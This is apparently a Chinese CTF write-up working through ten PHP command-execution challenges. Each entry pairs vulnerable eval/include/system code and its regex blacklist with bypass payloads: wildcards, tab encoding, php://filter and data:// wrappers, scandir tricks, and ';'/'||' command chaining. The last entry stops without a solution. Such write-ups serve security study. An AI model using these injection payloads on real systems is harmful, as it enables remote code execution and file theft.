1.
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}
else{
highlight_file(__FILE__);
}
利用函数:eval()
绕过思路:通配符绕过flag过滤
Payload1:/?c=system(“ls”);
#找到flag.php
Payload2:/?c=system(“cat fla*”);
2.
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
利用函数:eval()
绕过思路:过滤了system,这里使用echo。flag,php过滤继续用通配符绕过。
Payload1:?c=echo `cat *`;
3.
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
利用函数:eval()
绕过思路:过滤了system,这里使用echo。flag,php过滤继续用通配符绕过。空格用%09绕过,cat被过滤了换成tac。
Payload1:?c=echo `tac%09*`;
4.
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}
利用函数:eval()
绕过思路:过滤了system,echo,这里可以使用passthru,但是这次还过滤了括号,所以passthru也没有办法用,这里使用文件包含,通过php://filter协议进行读取文件。
Payload1: c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
5.
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}
利用函数:include()
绕过思路:文件包含常用攻击手法,伪协议读取文件内容
Payload1: ?c=data:text/plain,<?=system("tac fla*");?>
6.
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}
利用函数:eval()
绕过思路:过滤了数字和许多东西,但是没有过滤掉英文的括号。
print_r(scandir(‘.’)); 查看当前目录下的所有文件名 ,开始构造。 localeconv() 函数返回一包含本地数字及货币格式信息的数组,第一个值为”.”。 current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名 ,读取目录文件后,发现输出的是数组,而文件名是数组中的值,下一步我们需要取出想要读取文件的数组. each() 返回数组中当前的键/值对并将数组指针向前移动一步 end() 将数组的内部指针指向最后一个单元 next() 将数组中的内部指针向前移动一位 prev() 将数组中的内部指针倒回一位 array_reverse() 以相反的元素顺序返回数组 需要知识点齐了,观察flag.php在倒数第二位,我们开始构造。#current(localeconv()) == getcwd()
Payload1: ?c=print_r(scandir(current(localeconv())));
#打印当前目录下的文件
Payload2:?c=show_source(next(array_reverse(scandir(getcwd()))));
7.
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}
利用函数:echo
绕过思路:把数字和字母都给过滤了,这里的思路是构造system(“ls”),但是字母被过滤。没有过滤“|”,利用它构造。
8.
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}
利用函数:system()
绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,我们通过“;”进行截断,回显出flag.
Payload1: ls;
Payload2: cat flag.php;
9.
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}
利用函数:system()
绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断。
Payload1: ls||
Payload2: tac flag.php||
10.
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}